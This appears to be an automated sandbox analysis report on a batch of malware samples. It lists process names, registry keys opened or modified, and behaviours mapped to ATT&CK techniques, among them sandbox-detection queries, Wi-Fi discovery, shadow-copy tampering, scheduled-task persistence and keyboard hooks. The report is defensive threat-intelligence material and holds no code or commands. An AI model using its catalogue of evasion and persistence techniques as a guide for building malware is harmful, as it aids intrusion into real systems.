pei.exe1985119686.exesc.exepowershell.exepowershell.exefindstr.exesysklnorbcv.execmd.execmd.execmd.exe1539323472.exes.exe274832902.exeAA_v3.5.exeyoyf.exe169111223.exe1972015818.exepowershell.exe4363463463464363463463463.exe1865811931.exeAA_v3.5.exeexplorer.exepowershell.exesc.exesc.exepowershell.exeLgendPremium.exe4363463463464363463463463.exe2361911410.exe4363463463464363463463463.exenpp.exesc.exetor-real.exe4363463463464363463463463.exepowershell.exesc.exefindstr.execmd.exepornhub_downloader.execmd.execmd.exesc.exeSingerJudy.exeschtasks.exet2.exefindstr.exer.exesysvplervcs.exeCouncils.piftest.exe2.exesysnldcvmr.exeAA_v3.5.exeaaa.exesc.exetasklist.exesc.exesc.execmd.exetasklist.exe4363463463464363463463463.exesc.exe4363463463464363463463463.exe218042625.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pei.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1985119686.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysklnorbcv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1539323472.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	s.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	274832902.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AA_v3.5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	yoyf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	169111223.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1972015818.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1865811931.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AA_v3.5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	LgendPremium.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2361911410.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	npp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tor-real.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pornhub_downloader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SingerJudy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	t2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	r.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysvplervcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Councils.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	test.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysnldcvmr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AA_v3.5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aaa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	218042625.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
discovery

Internet Connection Discovery
T1016.001

Processes:

PING.EXEPING.EXE

pid process

46704 PING.EXE
76468 PING.EXE
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
discovery

Wi-Fi Discovery
T1016.002

Processes:

netsh.execmd.exenetsh.execmd.exe

pid process

38512 netsh.exe
5768 cmd.exe
6092 netsh.exe
36132 cmd.exe

pid	process
46704	PING.EXE
76468	PING.EXE

pid	process
38512	netsh.exe
5768	cmd.exe
6092	netsh.exe
36132	cmd.exe

Checks processor information in registry 2 TTPs 14 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

firefox.exefirefox.exefirefox.exefirefox.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

7740 timeout.exe
Discovers systems in the same network 1 TTPs 1 IoCs
discovery

Remote System Discovery
T1018

Processes:

net.exe

pid process

48808 net.exe

pid	process
7740	timeout.exe

pid	process
48808	net.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exemsedge.exemsedge.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Direct Volume Access
T1006

Processes:

vssadmin.exevssadmin.exevssadmin.exe

pid process

46144 vssadmin.exe
13976 vssadmin.exe
46892 vssadmin.exe

pid	process
46144	vssadmin.exe
13976	vssadmin.exe
46892	vssadmin.exe

Modifies data under HKEY_USERS 57 IoCs

Processes:

powershell.exeAA_v3.5.exechrome.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	AA_v3.5.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	AA_v3.5.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	AA_v3.5.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE	AA_v3.5.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Ammyy\Admin	AA_v3.5.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Ammyy\Admin\hr3 = c7539e419ab1f6f151a25477da69f0ae9bf209734ee29249806a271302f97fd4811dbe4481908ef142f133759c91f261439cf9ca15923ecd81d85692f06c501fe3d7edf92a0353dec0bcc1	AA_v3.5.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Ammyy	AA_v3.5.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Ammyy\Admin	AA_v3.5.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Ammyy\Admin\hr = 537d567366087c6658524c175253e90cbcc5d564b36b	AA_v3.5.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133766160474066889"	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe

Modifies registry class 2 IoCs

Processes:

chrome.exefirefox.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2584844841-1405471295-1760131749-1000\{36A51A2D-1149-43F8-BD31-F7DFF412E764}	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000_Classes\Local Settings	firefox.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXE

pid process

46704 PING.EXE
76468 PING.EXE
Scheduled Task/Job: Scheduled Task 1 TTPs 7 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

37520 schtasks.exe
14572 schtasks.exe
22880 schtasks.exe
692 schtasks.exe
688 schtasks.exe
1648 schtasks.exe
56708 schtasks.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

explorer.exe

pid process

2748 explorer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

chrome.exemsedge.exemsedge.exemsedge.exeidentity_helper.exepowershell.exemsedge.exemsedge.exepowershell.exeidentity_helper.exemsedge.exe95762703.exe1353228420.exe2165934757.exepowershell.exepowershell.exewinupsecvmgr.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeOffice2024.exepowershell.exe

pid	process
3168	chrome.exe
3168	chrome.exe
2176	msedge.exe
2176	msedge.exe
3904	msedge.exe
3904	msedge.exe
1520	msedge.exe
1520	msedge.exe
4240	identity_helper.exe
4240	identity_helper.exe
2376	powershell.exe
2376	powershell.exe
2376	powershell.exe
1556	msedge.exe
1556	msedge.exe
5036	msedge.exe
5036	msedge.exe
220	powershell.exe
220	powershell.exe
220	powershell.exe
3576	identity_helper.exe
3576	identity_helper.exe
1492	msedge.exe
1492	msedge.exe
4948	95762703.exe
4948	95762703.exe
1992	1353228420.exe
1992	1353228420.exe
4700	2165934757.exe
4700	2165934757.exe
408	powershell.exe
408	powershell.exe
408	powershell.exe
4700	2165934757.exe
4700	2165934757.exe
3788	powershell.exe
3788	powershell.exe
3788	powershell.exe
2516	winupsecvmgr.exe
2516	winupsecvmgr.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
2516	winupsecvmgr.exe
2516	winupsecvmgr.exe
2516	winupsecvmgr.exe
2516	winupsecvmgr.exe
3044	powershell.exe
3044	powershell.exe
3044	powershell.exe
5312	powershell.exe
5312	powershell.exe
5312	powershell.exe
5680	powershell.exe
5680	powershell.exe
5680	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
4800	Office2024.exe
3860	powershell.exe
3860	powershell.exe
3860	powershell.exe
4800	Office2024.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 21 IoCs

Processes:

chrome.exemsedge.exemsedge.exe

pid	process
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
5036	msedge.exe
5036	msedge.exe
5036	msedge.exe
5036	msedge.exe
5036	msedge.exe
5036	msedge.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

Processes:

sysnldcvmr.exe

pid process

5108 sysnldcvmr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

7zFM.exechrome.exe

description	pid	process
Token: SeRestorePrivilege	1596	7zFM.exe
Token: 35	1596	7zFM.exe
Token: SeSecurityPrivilege	1596	7zFM.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe
Token: SeCreatePagefilePrivilege	3168	chrome.exe
Token: SeShutdownPrivilege	3168	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

7zFM.exechrome.exefirefox.exemsedge.exe

pid	process
1596	7zFM.exe
1596	7zFM.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe

Suspicious use of SendNotifyMessage 59 IoCs

Processes:

chrome.exemsedge.exemsedge.exeAA_v3.5.exedwm.exe

pid	process
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3168	chrome.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
3904	msedge.exe
5036	msedge.exe
5036	msedge.exe
5036	msedge.exe
5036	msedge.exe
5036	msedge.exe
5036	msedge.exe
5036	msedge.exe
5036	msedge.exe
5036	msedge.exe
5036	msedge.exe
5036	msedge.exe
5036	msedge.exe
4932	AA_v3.5.exe
3876	dwm.exe
3876	dwm.exe
3876	dwm.exe
3876	dwm.exe
3876	dwm.exe
3876	dwm.exe
3876	dwm.exe
3876	dwm.exe
3876	dwm.exe
3876	dwm.exe
3876	dwm.exe
3876	dwm.exe
3876	dwm.exe
3876	dwm.exe
3876	dwm.exe
3876	dwm.exe
3876	dwm.exe
3876	dwm.exe
3876	dwm.exe
3876	dwm.exe
3876	dwm.exe
3876	dwm.exe

Suspicious use of SetWindowsHookEx 30 IoCs

Processes:

firefox.exet2.exenpp.exepornhub_downloader.exe169111223.exeLgendPremium.exetest.exepei.exe1972015818.exejp.exeIndentif.exeAA_v3.5.exe2.exeaaa.exer.exes.exeexplorer.exeSingerJudy.exetor-real.exe

pid	process
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
1376	firefox.exe
2420	t2.exe
4456	npp.exe
2228	pornhub_downloader.exe
3128	169111223.exe
1684	LgendPremium.exe
5068	test.exe
1652	pei.exe
2580	1972015818.exe
2980	jp.exe
3440	Indentif.exe
2548	AA_v3.5.exe
4612	2.exe
3416	aaa.exe
244	r.exe
3196	s.exe
2748	explorer.exe
2748	explorer.exe
4960	SingerJudy.exe
2748	explorer.exe
3496	tor-real.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

chrome.exe

description	pid	process	target process
PID 3168 wrote to memory of 1784	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 1784	3168	chrome.exe	chrome.exe
